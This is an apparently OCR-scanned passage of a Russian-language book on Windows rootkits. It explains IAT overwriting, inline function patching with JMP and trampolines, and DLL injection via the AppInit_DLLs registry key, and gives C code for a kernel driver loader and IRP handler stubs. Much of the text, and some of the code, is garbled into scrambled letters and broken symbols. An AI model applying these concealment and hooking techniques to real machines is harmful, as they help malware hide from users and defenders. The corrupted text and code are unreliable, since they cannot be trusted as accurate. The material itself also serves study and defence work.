00000001h  гЕ Д ЗО О О ,  OU0003AEh  Qfdn  Nam*  1  ActivaleAcCtM 

Entry  p!  000137681ч  00OO33fЈh  0OOOD496h  D00607C5h  00OSO78Јh  OOfMEOAih  0004DF8Ch  00035030b  000?38ADh 



M&AonA 

3  AddAtorrrW  4  AddCoruotoAfatA  5  AddConsoleAfcuW  6  .Ав !Йасо 1«п1 а |5С1 тс 1 ир |?'Ы­5те А  7  AddLocafA!terri.^eCQmputeiNameW  S  AddRefAclClx  9  AddVeclaec^KceptionHandlei  (fofw­aidei  >  NTDLL.RlWddVectoredExceplionHarKJIei  10  AHocConsole  11  AflocateUserFtiysicalPages  12  A/efiieApisANSI  13  A s ^ i P i o c e s s T o J o b O b r c t  14  AtlachComcle  15  SackupRead  16  8ackupS*ek  17  BackupWiite  13  Ba.wChectAppci.'mipalCai^be  19  BaseOeantipAppcompaiCacrie  20  Basstleanup^pptompatCacheSuopofr 

00036»»  OOOKOCEh  O00ODF51h  0000261Ah  OOOOOCCEh  0004C126h  0004B2Olh  0004C709h  0001F6A3h  0 0 0 5 8 F Ј l n  00О55 ОС Е  П

­ 

ч   "—"  с.Ри

 эортспк а

 ботбли иек

>  NtQueryDirectoryFiIe  [rrtoskjnl.exe] 

ров У

к е ит л б о Б ю а щ гт ео б а р

  .З 1.   ацТбли



с.Ри

 3.2.  уПт ь

3  а З к   665 

 вяиеынолп

 и цк н фу

  FindNextFile 

Ц еп оч к а   в ы з ов в   FindNext­ File  Kernel32.dll  ­»  NtQue­ гуDirector y  ­>  INT  2E  ­>  KiSystemService  ­>  NtQue­ . 3.2)  н аз ы ­ ryDirectory  (ри с в сает я   е п ту м   в ы п олн е и  я у н ф цк и .  П о с лк ь у   п о л ь з о в ае тл ь с к е  п ри лож ен и е  з агруж е т   KER­ NEL32.DLL  в   собвтен о е  но с е р д а е  пвнтаср о о  (асерд а  п т ам я и   межуд   0x00010000  и   0x7FFE0000),  на ш   ­рут и к т   мж о е т   з ап рост о   п ер з а ­ п и сат ь   лю б у ю   у н ф цк и ю   в  KERNEL32.DLL  и л и   ажд е  65 

RootKits 

аб тл и ц л и е рт уа

у   IAT.  оЭт т   п цор се с   ваетсяызн е  ­  API hooking). 

  о в тпх а е р

3 . 2 . 1 .  П Е Р З А П И С

Ь  АРСЕ Д

м   API  (в   ан гзлояы ч н о

А  ФИЦНУ К

й 

 И

П щор е   г е вс о   п ер з а и с т ь   аб л т и ц у   и м п тро а   ц по с р е а   (IAT).  У   гжоадк п ри л ож ен и я   тсе ь   у р т к с а   IMAGE_IMPORT_DESCRIPTOR,  соедржащ и н ем а   DLL,  унфцк и и   ыро т к х   и м п орт ую с я   п ри л ож ен и м ,  а  тжак уа кз ет л я   н а   в д а   м ас и в а   у т ркс р   IMAGE_IMPORT_BY_NAME.  уртСк IMAGE_IMPORT_BY_NAME  жредоис т   и мн е а   у н цф к и й ,  и мпорт ван ы п ри л ож ен и м .  Пр ур т к с ж ен и ме т реал ь н ы

е   п ри лож ен и я   в   п т ам я ь   оп ерац и он а я   си ем т а   ан л и з руе у   IMAGE_IMPORT_DESCRIPTOR  и  з гажуре т   н е о б их д м ы ю  би бл оеитк . Ка к  толь к о  библекот и   з аг руж ен ы , операц и он а а   м ои д ц ф р у е т   и см а в ы   IMAGE_IMPORT_BY_NAME,  з ап и сы ва е  ардес а  требумы х  приложен и ю  фунцк и й . 

и   з аг руз к

т сП у

ь  руикт­верси ж ен и я   (тумо н е  соти т   п ер и сат осер да м   в соб ен т И з м ен и н аи к

. Осн ов

я   у н ф цк и , ка к  он а  тду ь   а тб л и ц й   у н ф цк и е   IAT­таблиц е  е е  преимущ вест а   чо не ь   б оп р н д

тэ а  техн ик д ве ь   т э о   с о в е р ш н о   з ао кн а но й   с и е м то й .  В  думокен ацт и о т ан с д е к   у  эогт о  сбпос о б н а р у ж и в а се т я   ан и т в русам

и   нисяаходт а  птедпао

ы   ­  тэ о  очне

ь  мщо н яа

, н о  в т  в  пто ср о   по и нас ,  в  то м  чилс е я   а цп р о у д е ,  и споль з уема и   п о  API  о н  н аз ы всает а  толь к о  оидн : пвахер т и   и  аниткруы м и о  сиотс

ь  н е  важ н о м ы  собираемс

, ка к  приложен и я   «иьтагр »  ­  и з  таблиц

е   п ри л о я   си я   в   ни

е   п ри л о а  риукт у   н и ч ег й   API­фун кц и

 т о  ж е  врем е  реали з ац и   в  доукмен атц и

 т ­ ­  х ­  о и 

я  парост

я  тхе ­ . К  тмо у  ж е  и   п о   API,  я   сам о й   оп ерац и ­ я   DLL­forwarding. A    API  сравн и етль н о   л ег к о    с р евд т а м и . 

м   н е  к о  вес м   п ри лож ен имя .  оНртыек е  у   в о   мв е р я   з а п ксу ,  мопт у   ч т о   раз еш а ­ й  п о  тбеврона ию , вы з ы ва я   LoadLibrary  я   бщ о в е   н е   и сп ол ь з ую т   IAT, т о   тсе ь  х  случ ая х  пом ж е т  боле е  с л о ж н а я   те х н и к а  е  з агружен ог о  в  пьтамя . 

3 . 2 . 2 .  ПЕР ЗА ПИС рп е Т

  в  ансерод м   п р о с ат н в н   п . 3.3). Тдго в   ер да с   и с х о дн

, пщ всяое у   IAT, з амен и . 

К  сожален и ю , эот т  сопс б  примен и з   н и х   н е   з ап ол н ю я т   IAT­тбалиц ю т  асерд а  импоиртуеы х   у н фц к и и   GetProcAddress.  Эт и   при лож ен и ав ш  рутки т   н е  сработе .  В  эит ­  перз апи с ь  кдо а  фунцк и , уж

66 

о   я е   вд а  а  х 

Ь   С А МО

е   п ол уч и

Й  ФИЦНУ К

 И

о  аерд с  API­фун цк и , с  корт й  ы   IAT ил и  вы зво м   GetProcAddress. 

в а Гл

дВ е у н ц фк и

ь  м ы  беду

м  пмодент я

ь  н е  асерд

а  3.Пмод ен

а  ак

, а  н епвнсторд

к  об ра

з  жи нз

о  байт

ы  кдо

и   и т ру к

а 

а  инсход

й 



б Ощ и

й  алгорит

м  вы гидля

т  тка

1.  Риукт бй а т

т  сохране я ы  буд

2.  етаЗ дохер

м  рикту т  пиш е а  JMP дохер П

3.  Плсо у н ф цк и т р у цк и щ ва р е 4.  Риукт п рог ам е

т  сйеча



т  нольеск с  перз аписн ы т  н а  мтсе а  каду

е   в ы п ол н е и

я   до к а  рикут и   и   в ы з в с ает я   и н сход а я  JMP, н о  н а  индохсу т  рзтеаьлу , н о  н е  онс во

т   и м о цд ф р у е

о  пвыре

х  бйаот . 

в  иснход

о  пывре ? Кчнео

х  бойта о  же

в  кнадмо , н а  ко д  пнемдо

а   в ы п ол н ю я ст я   у н ф цк и ю   у н ф цк и ю ) й  пгормае

т   з е р ьа л у т

й  фун цк и у  бвноглзсеу

о  пе ­ . 

й  фунцки

я   сохран е ы я   (т о   ест .  Исходн а , а  риутк

т   и   е а д пр

и  ­ эт и 

ь   щ е е   он д я   у нф к ц и . 

т   уп рав лен и

е   бй а т ы  а   ин с ­ я   в оз ­

е   осн в о

й 



оСлк ь о   ж е   б ай о т в   ори г н ал ь о й   у н фц к и и   м ож н о   п е р и с аь т ?  омаКн д а   б ез усл ов н г о   д о х е рп а   з ан и м е т   тп я ь   б а й о в т .  Пщор е   в гес о   п ер и сат и м не о  пврые е  птя ь  бйаот в   н ид о х с й   у н фцк и .  В о­первы х ,  первы е   б ай ы т н аз ы в аем е   п реам б ул ой ,  иоднвак ы   д л я   е св х   у н ф ц к и й   Win32  API.  Он есв м  изнвтсеы , брагдол я  чме у  и х  мжно о  джа е  н е  сьтнархо я , чт о  сщувнетс упрощ ает  смех у  перз апис : втсме о  бзе лсувон г о  пдохер а  н а  сохран е ы и н ц р у кс т и  и х  можн о  птсор о  взтя ь  и  вы полн иьт .  Н е о б х ди м раз ли ч н ы п реамб ул

о   уч ест х   в ерси а   в ы г л дя и н И с т и цр у к

ь   то л ь к о   от ,  ч т о   п реамб ул й   Windows.  Есл и   в ерси т   акт : 

и   Ас ем б л ер p u s h  ebp 

а 

а   уф н кц и я   Windows  м ладш

еШс т н ацдт е р и ч н о

лсЕ л уб

и  ж е  уаснт овле а  вы гдиля н И с т и цр у к

т  инчае

е 

8bec 

а  Windows XP SP2 ил : 

и   Ас ем б л ер

й   раз ли ч н а   д л  я е   Х Р   SP2,  т о 

е   п р е сд т а в л е н и 55 

mov  e b p ,  e s p 

­ ь  ,  и  о  е 

а 

и  бело

е  п оз дн я

я  верси я

еШс т н ацдт е р и ч н о

е   п р есдт а в л е н и

mov  e d i ,  e d i 

8 b f f 

p u s h  ebp 

55 

mov  e b p ,  e s p 

8bec 

З а м е ть е ,  ч т о   в   Windows  XP  SP1  п р е а м б у л (55 8Ь  ее) . Получсаяет , чт о  перз аписы ват

, т о  преам

а   з ан и мае ь  присетд

т   в сег я  преамбул

­

е 

о   3  б а й т у  и  дв а  бйта

а  а  67 

RootKits 

ойак ­т н юя щ а в на и

о  друго я   п ер з а и сь

й  и н рсцутк и

е  н ачл

. Эт а   бы т

, долж н и   и  опелридт

а  фунцк и

о  н ужн ь   в  сноясит ь  длин

о  учиыт вьа

: вша

а  фунцк и я ь   ди з а с е м б л и р о

и   в ы п ол н и т у   и н рц с у т к и й

,  вы пол

­ ­



В  Windows  XP  SP2  н ша а   б ат ро а   з н ач и елть н о   уп рощ ен а .  Преамбул а   з ан и т   5 байот в   ­  ак к   ра з  сольтк , солкь о   н жу о .  В  эо т м   на м   помгл а   мас о кр п а ц и я   Microsoft.  Неуж л и   Microsoft  н е  плеармсутод , в  киак х   ц ел я т э о   м ож е т   и с п о л ь з о в аьт с я ?  а К к   ра з   тонрба :  инме о  дл я   итэ х   цел й   он тэ о  и  селад . В  SP2 пвиоялас ь  н ова я  фунцк и я   «гчге яро о  пчат» , поз вюля щ а я  всатвля ь  н овы й  ко д  бе з  перз агу к и  смыеитс . М ы  н е  селда и   н и ч ге н ез о ак н г о , птсор о  воспль з овалис ь   н во й  взомжньтс ю  о т   Microsoft.  е ам

п ер Т

ь  погври м  о  ворт . Собвстен о , говриьт­т ет ,  ч т о   в ы   помеистл и   б ез усл ов н ы дг о к а   а в м   н уж о  беду т   з а п уи с т з н а ч и етл ь н о   у с л о ж н естя у н фц к и и   д о   б ез усл ов н г п та дер ь  управлен и е   а в о с тш е й с ц по ср е е  мжое т   п ри в ест и н и е   б ез услов н г о   п ер ход мы а с м   ы т с по р м  реш н ием цк и

рп е Т

ь   н ме го

и   ко т р ы тр а м п л и н о м ц ки ю р та м п л и н И с х но д а в юа щ а а т с ем е е  н ач л

68 

.  айт Б ы   а до к ,  ыротк е   в ы   п ер з а и сы в ает о   с о х р а н и ть ,  а   п от м   в ы п о л н и ть ,  н а з ы в а ю тс й   д о х е рп , кырот й  в ы  пщмео та е  в  ц елву ю  фун я   м о д бх .  мехС а   н е м д по ы   у н ц кф и и   с  помщ ь ю   д о хб а а  н а  ри с . 3.3. 

. Безусловн ы а  при ведн я   у н ф кц и я   ц ле в у : исхонд а о  «о»дохб

Д оп л н и е ьт у и да ц к ф х я оп д  пирц млое»

е  пзерпаис и  имне о  первы х  байот в  фун ­ . Дмуюа , эт о  и  та к  ясн о . Павресдть ­ о  и  н е  о  чме й   опх е р д   в   и сер д н у   у н ф цк и .  мотП ,  ь  индоухс ю  фунцкию , ко д   вша е й   у н ф цк и и  :  две ь   ав м  н жун о  беду т   в ы п ол н и т ь   о к д   ин д о х с й  о   а д о х е рп ,  вы полн ит ь   п ер з ап и с н ы е   бй а т ы   и  я  чтса и  фунцк и . Онд а  ош и бк а  в  пнбод м   к  нзапкесмуыдр м   резамул.ьт  В ы вдо : пщмео ­ а   в   н ач л о   у н ф цк и и   вя л е тс я   о п ит м а л ь н ы м   и  . 

о   г де ­ т

, н аз ы васет

Д ан а у н ф цк и в ы п ол н и т н а  омодбх у н фцк и и ц ф руе

й  пирч н

о   е рт м и н о л г и е   н уж н

я   ­  тэ о  фунцк и ю   API­фунцк и ю я  фун кц и я  вы з веа , м ы  пидохер

я   п ло ь з е в г та кс .  д Гял т  цвлеюу м  н а  фунцк и

о   п ри лож ен и я ,  св е  сатн ови ст

я   н а  ринуско , н о , плоькс ю  оадохб

,  вы з я   н а  сво у  м ы  помиестл

ю   и орм ац н ф

ю  о б  изнме и х  рмиатку

, опбулвоинак

е   я ­   и  ­ и  и  в 



я   у н ф кц и я   в ы п ол н е я т   иа к е ­ т о   ед й в с т и я   и   п ае р д и   р та м п л и н а .  Осн ов а я   е е  зчад а   ­  воипгтд ь   рт а м п л и н ь   т у   п о с л е вд аь т н о с ь   и н ц рук ст й ,  аротк я   бы л . Посл е  эогт о  фун цк и я  трамплин а  пеадр т  уп равлен и , котра я  воз вращ е т  рзельуат т  фунцк и и   а д о хб . Последн я т  рез ульат т  (есл и  эт о  н ужн о ) и  оптравеля т  ег о  индохс , вы поленм я

­  а х  а  ­ о 

т   уп рав лен и ,  т о   тсе а   п ер з а и с е   ц ле в о я   и д мо й   у н ф цк и

е  ь  ­ й  ­ . 

и  пту и  исполн е и я   и  други х  мо ­ , в ы  стжеом е  н айт и  в  сьта е   «Windows  й   н а  сйта е  h t t p : / /www. s e c u r i t y l a b .  ru. 

в а Гл

на д о х с И

я  фцинку

ц и н Фк у

 я

1 я   доибо

а  3.Помд ен

а  ка

ц и н Фк у

 я

с.Ри

Е  КДО

  3.3. Псьиап ерз

• 

в о т с д е рп

• 

с  пщомь

ю  клю ч м   п вхер та ю  уадлен ы

  и цк н фу

А  РТ И К Т У

В о т   те п р ь   н а ч и н а е тс я   сам о п о м е с ит ь   ок д  своег о  руикт бО щ е е   н аз в и е  описы ваемог мо т , чт о  м ы   еобдавля м   н ша DLL мож н о  трем я  спбосмаи с  пщом ь

ав е л Ц

и   и т к ур



я  фцинку

а 

 я

а 

i . 



• 

з  жи нз

•  i 

а  и н пл м а р т

3.3. ВИНЕР ДЕН

к  о б ра

 в  птам я  и

А  В  ЧО Ж У

Й  ПСЕЦОР

С 

,  ак к  мож н о  е   и н ет р с н о е .  М ы  рас м отри м е   п р о с т а н с вт о  друго о   п роц ес а .  а  в  ардесн о .  Залкю ч аест я  о н  в  о   д о т ем а  ­  DLL­и н ъ ецк и я у   DLL в  дгоур й   п роц ес .  Иатк ,  вн едри т ь   нш а  у : 

а  AppInit_DLLs  ртсе а  сбощ неи

й  Windows; 

х  повкт

3 . 3 . 1 .  л К ю

а  Windows; 

ч



  A P P I N I T J D L L S 

Эт о   с а м ы й   о п тс р й   сп о б ,  рабюот щ и й   в  Windows  NT/2000/XP/2003.  :  иктру у   н жу о   п ро и сат ь   в  клю ч е   HKLM\  З ал к ю ч а е ст я   о н  в  сюудле щ ме Software\Microsoft\WindowsNT\CurrentVersion\Windows\Ap­ pInit_DLLs  (рис .  3.4) свнебтос у ю   у б ки е л т о ,  ортак я   б ы  перз апи сы ­ е   п ри л ож ен и я ,  исполь з ую щ ег о   б и л ое тк у  в ла а   а б т л и ц у   IAT.  Пр и  з апуск е  би бл оетк и  в  USER32.DLL, вы полнестя я  з агруз к а  уазкн о й  в  эо т м   люк ч нсер да о е  праноств о  при лож ен и я . Загруз к а  DLL вы п олн естя я  смао й  биб ­ й   и  хорш о  л и оетк й   USER32.DLL.  оиСт т   и ьм ет о , чт о  эт о  ои фц и аль н ы у о мд к е н и т р в а н ы й   пб со .  аК б ран м д уэ зе у

к   в и нд м  воз мжн ост

о   и з  рисунак ,  в  кюл ч е   AppInit_DLLs  «прописан а  Outpost  Firewall Pro. Оптя ь  м ы  н ичег о  н е  н аруш ем и   Windows. 

»  би л оетк , а  и споль

а  ­

и та с К , елс и  в  эот м  клю ч е  уж е  етс ь  к­аяк т о  библаекот , ч ер з  з апутя ю  в ы   ж о тм е е   ау зк т ь   юв ос . Библ оетк а   USER32.DLL  з агруж е т   вс е  DLL,  пер ­ ч и сл ен ы е  в  кюл ч е  Applnit_DLLs,  в  ансердо е  просатн в о  проц еса . Пос ­ л е   з аг ру к и   аж к о д й   DLL  вы з всает я   е е  фун кц и я   DllMain  с  пармоет ,  чер з  корыт й   с п ает р д я   п ри ч н а   вы з о а  фун цк и .  оЭт т   п ар м ет р   мж о е  т 69 

RootKits 

п ри н м ат ь   он д о   и з   ы ч те р х   з н ач е и й DLL_PROCESS_ATTACH,  закуы вю щ е аК к  толь к о  вша а  DLL присоедн ит я п е л р ид т ь  фун цк и , вы з ваемы е  пцормсе вта ь  пцорысе , файлы , кюл ч и  рртсе а ш   Р е да т к о й фа

р   ре ст р л   к а дэ Ц

а 



0

а   §п&   б*рИз ***

Ф  О

  ЛР

*  ква р пС

| | ' ! 

 

'

­

h

.

;

­

:



• 



о  .  ­ ­ j o f i j 

• 

а 



_d м И

 я ЈЈ](П о  ую и н а члмо

;+] C j  ProfileList  Н Ј Э   related.desc 

1

,  и х   ыротк х   н а с   и н е р сту т   отл ь к ,  чт о   DLL плюкод чсает я   к   у цс о п ре   к  пусцоер , ва м  н ичт о  н е  соит т  перо , чт о  поз вли т  ва м  легк о  срык  и  свеыт е  соеидн ия . 

^ЁЙ ЗЁЙ

Г+ lC j  SeCEdit  :+; i l j  Setup  S Ш   SvcHost  ;+'P"l  SystemRestore  1+] C j  Terminal Server  Ш   (_J  п и Т е  Zones  S3 C J  Tracing 

и Т  п REG  SZ 



i и н е ч а Зн (зи н е ч а н



е  е  и е о пн е в с и р



REG.SZ  i^j  DeviceNotSelecte,  .  REG.SZ 

E:\PR0GR4~ UAgr    TeKCT  CTpaHH4bi   

88 

­ ! А 



Ф ай

Р а с мр и о т

в  пор

ь  джа

" пктуро ю  е   нем е 

ю 

ч 

р   нко

а 

а  я   в 

а  я 

а  и  зад

в а Гл

а  3.Пнме д о

а  ка

к  оа рб

з н жиз

т   стран и ц

с.Ри

аК

к  виедт

, в  сцкеи

б о н р дП цил б а Т

ы 

  3.9.  ульРезт ат

 вяиеынолп

о  аритбу

и   опиысюва т ы  описан ы  в  таблиц

а  3.2. Атрибуы

  НТА­ ияен ож прил

Ат рибу

 пяиенложр

  НТА 

я  аитруб е  3.2. 

т 

ы  онк

Описани мИ

applicationName 

я  пенирял ож

а де З

. Дон л ж т  ти

п  ра м и к

о  быт

по

ь  ра м и к

ь  уалниыкь

е  — бе

з  ра м и к , нзель

я  имз енят

о   в оа д

 р

, беду

т  л и  он к

о  осьат обажрт

, беутд



ь  к  протаигмк м е

у  raised и  sunken;  о   лд

я   о кн

,  в   оырт к

х   ен

 т

;  я   (3D) 

yes —д а п о  — н е  беуд м Раз е

ь   ра мз е

я   о л тк ь

sunken — улоптена

т  пту р  иени обзарж

;  ; 

я   (3D);  е  мд еж

static  —  испоулезть оп л в е з г а ь т с к

аде З

р  онак ь   р а мз е р



raised — пиаопрндят

т ле я д р п О

ь  рамз е я  имз енят



complex — средн

caption 

о  имз енят , нзель



normal — обы чная borderStyle 

м 

, мн ож я  ра м к

thin — тоаняк л и тС



е 

я  рам к

dialog  — обыачн

border 

а  НТ­Л п ри лож ен и я



thick — толаст

icon 

а 

^Щ }*} 

nts and5eUirai\Denii\Msystei.32'­appKelp  . d l l  1 9 : 2 8 : 5 8  1~Н1944]Ое1ес

1  n o d u l e  l o a d :  C:\UIHDOySNSyste»32\browseui  d l l  ­11 

с.Ри

  5.1.  тУ тли а

 DebugView 

*J  Fufl pathname of drive* 

I  Install 

Slat 

Slop 

Remove 

Status:  Close 

с.Ри

и тЭ м  сбопс ев р  н е  може и сп ол ь з в ат

  5.2.  тУ тли а

 InstDrv 

м  драй ве р  з агружсет я  в  н евы гружаем т   бы т ь   в ы г руж е н   н а  ди с к   пр и   проц ес ь  приведн ы й  ко д  дл я  сево й  прогамы

ю  пьатмя е   п о адк ч и ­ з агруз ч и к

, т о  етс ь  драй .  В ы   может а   ри у к т а

­  е .  127 

RootKits 

щуС в е тс т   и  друго й  спос б  з агруз ит ь  драй ве , осн ова н ы й   н а  нумеонкд и т ров ан о м   API­вы з ов е   SystemLoadAndCall Image.  И з   из внест ы х   ри ук т от в  ег о  ипслоьзтеу , н априме , FU, индохсы й  ко д  коргт о  можн о  сачкт www.rootkit.com.  н ит с и Л

г  5.2.  К З УР ГА З

А  И С  ЗУ П А

К А Р Е В Й А Р  Д

. УТТ И Л И

­ ­ ь  с 

А  INSTDRV 

#include    #include    #include    #include    BOOL  InstallDriver(  IN SC_HANDLE  SchSCManager,  IN LPCTSTR  DriverName,  IN LPCTSTR  ServiceExe 

)  )  BOOL  RemoveDriver(  IN SC_HANDLE  SchSCManager,  IN LPCTSTR  DriverName  ) ;  BOOL StartDriver (  IN SC_HANDLE  SchSCManager,  IN LPCTSTR  DriverName  ) ;  BOOL  StopDriver(  IN SC_HANDLE  SchSCManager,  IN LPCTSTR  DriverName 

)  ;  BOOL OpenDevice(  IN LPCTSTR  DriverName ) ;  VOID  cdecl main(  IN int  argc,  IN char  *argv[] )  {  SC_HANDLE  SchSCManager;  if  (argc  != 3)  char currentDirectory[128];  printf  ("usage: instdrv    \n");  printf  ("  to install a kernel­mode  device  driver,  or:\n");  printf  ("  instdrv    remove\n");  printf  ("  to remove a kernel­mode  device  driver\n\n");  GetCurrentDirectory  (128, currentDirectory  ) ;  printf("Example:  instdrv  simpldrv  %s\\obj\\i386\\simpldrv.  sys\n'  currentDirectory ) ;  exit  (1) ;  SchSCManager  = OpenSCManager  (NULL,// локальны

128 

й   етюьпмок

р 

в а Гл NULL,  // бза а  дына х  п о  уиначлом SC_MANAGER_ALL_ACCESS  // пвар

а  5.Пиш е

м   п е рв ы

й  дра йв е

 р

ю  а   путсод

а 

);  if  (!_stricmp  (argv[2],  "remove" ))  {  StopDriver  (schSCManager, argvfl]  ) ;  RemoveDriver  (schSCManager, argvtl] ) ;  }  else  (  InstallDriver  (schSCManager,  argvfl],  argv[2] ) ;  StartDriver  (schSCManager, argv[l] ) ;  OpenDevice  (argvfl));  }  CloseServiceHandle  (schSCManager);  }  BOOL  InstallDriver(  IN SC_HANDLE  SchSCManager,  IN LPCTSTR  DriverName,  IN LPCTSTR  ServiceExe  )  f 

/* Эт а  фун цк и я  з агруж е т  олеьдтн ы й  (standalone) драй вер . Елс и  н а  п оря ­ о д к  з агруз к и   до л ж н ы   в литя ь   п у гр ы   п ри о ет а   и л и   г иэ т   п р и о еа т ,  мо ­ и д ц ф руй т е   до к ,  обдави в   п вор к е у   з н ач е и й   лю к ч е й   HKLM\SYSTEM\  CurrentControlSet\Control\ServiceGroupOrder  и   пармеот в   Group  и   Tag  юл к ч а  ИЕКМ\8У5ТЕМ\Си г еп 1Соп 1го15ег,\5еп ч се5\IoStatus.Status  = STATUS_SUCCESS;  IoCompleteRequest(plrp, IO_NO_INCREMENT);  return  STATUS_SUCCESS;  }  NTSTATUS  DriverEntry (  IN PDRIVER_OBJECT pDriverObject,  IN PUNICODE_STRING  pRegistryPath)  {  int I;  /*  кортС и   док а  д о  рицартсге и   ицкнуф и   OnUnload  икат е  ж е ,  ак к  в  лгнитс е   5.3  */  pDriverObject­>DriverUnload  = OnUnload;  for  (1=0; I MajorFunction[i]  = MylrpHandler;  )  /*  Дальнейши е   кортс и   док а  тика е  же , ка к  в  листнг е   5.3  */ 

Ф у н цк и пниа с ци к йар д в е л ав о и р т лд з ав ерш н и и р т мо с П п лно и т в ыо с е р а у каТ тч ов с Д в ай т е д уб ет

я   MylrpHandler  ­  тэ о  толь к о  з аглуш к , н о  и  он а  долж н а  п о  прави лм . Заверш и в  окбтаор у   IRP, драй ве р  озбяа ю   IoCompleteRequest,  бощс а я   Д и сп ч ет р у   в о да / в ы о да р  обкраот у  эгот о  птека а  з оанк ч и л . Ди спчет р  преотвя и  л и  дйраве ы  бело е  вго кыс о  увнор я  сиов х  пуцдоер р я   да н о г о   IRP,  вы п олнея т   и х   и   отл ь к о   п осл е   о тг э о   в оз ращ е я   в  поль з веатуск ю   у м а рг о п .  е   н а   рис .  5.3. Поль з веалть ск я   п рог ам а   п роси ь   о п ер л д н ы е   ед й в с т и я   ­  write,  read  и  ioctl.  Н о   драй ве т  вс е  дей свти я  ондо й  и  то й  ж е  фунцк и .  Неп рави ль н о ю   ел м од ь   м ы   йес ч а с   ир мс а т в е м   д л я   ы п от р с ,  чбот о  и  ка к   происхдт .  Н а  питрак е  ж е  дл я   жагодк о  дей свти я  совбсетн а я   у н ф цк и я .  е   реал и з у м   п рав и л ь н у ю   ь л е д мо ,  в   ортк й   д л я   а ж к од г т  реали з ован а  сво я  фунцк и я . Прпедолжим , чт о  на ш  драй ве  вы полнт я ь  на д  уройств м  сюудел щ и е  операц и : 

а   бы т

ь   па ­ ь  фун ­ ,  чт о   отэ  т , н е  з ареги с ­  ioComplet  ion  т   уас т с  н  вы з ват

т   др а й в е

р   вы р   п даер ?  онКеч о ы   в ы   п о н л ия я   до л ж н а   бы т

­ ­ .  ,  ь 

о   д е й с вт и р   п оз в ля

 я ­

137 

RootKits 

• 

р о кы т

ь  урсотйв

о  ­  унф цк и

я   OnCreate; 

• 

з ар кы т

ь  уройств

о  ­  ун цфк и

я   OnClose; 

• 

з ап и с т

ь  дан ы

• 

п роч и ат

• 

бщ о е

дг о Т

е  в  уройств

ь  овет

т  уройсвт

я   OnReadWrite; 

е  вводм/вы од

о  рцаригтес

я   OnReadWrite; 

а   ­  унфцк и

е  управлен и

а  втсем

о  ­  унфцк и

и  фнуцки

м   ­  ун фцк и

я   OnDeviceControl. 

и  MylrpHandler  ипш е

м  сюудещл и

е  си корт



D r i v e r O b j e c t ­ > M a j o r F u n c t i o n [ I R P _ M J _ C R E A T E ] =  O n C r e a t e ;  D r i v e r O b j e c t ­ > M a j o r F u n c t i o n [ I R P _ M J _ C L O S E ]  =  O n C l o s e ;  D r i v e r O b j e c t ­ > M a j o r F u n c t i o n [ I R P _ M J _ R E A D ]  =  O n R e a d W r i t e ;  D r i v e r O b j e c t ­ > M a j o r F u n c t i o n [ I R P _ M J _ W R I T E ]  =  O n R e a d W r i t e ;  DriverObject­>MajorFunction[IRP_MJ_DEVICE_CONTROL]  =  O n D e v i c e C o n t r o l ; 

П ол ь з в е ат ск

я   м а рг о п

а 

read 

write 

lOCtl 

ЯД Р

О   О С 

М ас и в  MajorFunction  my_io control 

rnyjocontrol  my_read 

­»|rny  read 

my_write  Д рай в е с.Ри

  5.4.  ы нмчлиРаз

В с е   у н ф цк и ­ о б р а о т ч и к з а ет л ь   н а   у с рт о й в е тл ь н у ю   у н ф кц и (ли ст н г   5.5).  138 

my_write 

р    е т ак п ам

 IRP ныенач з

и   IRP  прин маю о   и   у а к з ет л ь   н а   с р ту к ю   Completeirp,  з аверш аю щ у

  ы не раз

  обрат  ик ч

т   о ди н ао кв ы

е   арг ум ен ыт у   IRP.  Нап и ш е ю   об ра кт

:  аук

м   в сп ом г а у   а ж к до г

­ ­ о   IRP 

в а Гл нитсиЛ

г 5.5. О Б Р А Б О Т Ч И К

а  5.Пиш е

м   п е рв ы

й  драйв е

 р

И IRP

NTSTATUS CompleteIrp(  PIRP pirp, NTSTATUS  status, ULONG  info)  {  pIrp­>IoStatus.Status  = status;  // квтсечило о   байтов , пынадер х   утнеилк .  pIrp­>IoStatus.Information  = info;  IoCompleteRequest(  pirp, IO_NO_INCREMENT);  return status;  }  NTSTATUS OnCreate ( IN PDEVICEJDBJECT pdo,  IN PIRP pirp)  {  PIO_STACK_LOCATION  plrpStack =  IoGetCurrentlrpStackLocation(pirp) ;  DbgPrint ("OnCreate: FileName  = %ws",  & (pIrpStack­>FileObject­>FileName.Buffer));  return CompleteIrp(  pirp, STATUS_SUCCESS, 0 ) ;  }  NTSTATUS OnClose(  IN PDEVICE_OBJECT pdo,  IN PIRP pirp)  {  DbgPrint ("OnClose");  return  CompleteIrp(  pirp, STATUS_SUCCESS,  0) ;  }  NTSTATUS OnReadWritet  IN PDEVICEJDBJECT pdo,  IN PIRP pirp)  {  ULONG BytesTxd  = 0 ;  // члси о  перданых/получены х   байтов  NTSTATUS  status = STATUSjSUCCESS;  DbgPrint("OnReadWrite");  return  CompleteIrp(  pirp, status, BytesTxd); 

)

Ф у н цк и ем р  н оелськи ил е дп о р н и тс Л // видовы

я   OnDeviceControl  едуб т  сложн е , пмот х  воз мжн ы х  дейвсти й  п о  управлен и м  уп равюля щ и е  кдо ы  (ли стн г  5.6).  г  5.6.  ЧИТОБАР т  оончдалт

у  чт о  м ы  привед ю  усртой в м

м   п ри .  Сн ачл

­ а 

К  IRP  MJ  DEVICE  CONTROL  е   инещбо с

е 

• d e f i ne  IOCTL_PRINT_MESSAGE  CTL_CODE  (  \ 

FILE_DEVICE_UNKNOWN,  0x701, \  METHOD_BUFFERED,  FILE_ANY_ACCESS)  // пеалысо т   инежол рп ю   нвору я  плетавозь я   идо ќdefine IOCTL_SEND_BYTE_TO_USER  CTL_CODE  ( \  FILE_DEVICE_UNKNOWN,  0x702, \  METHOD BUFFERED,  FILE ANY ACCESS) 

н  бйа

т 

139

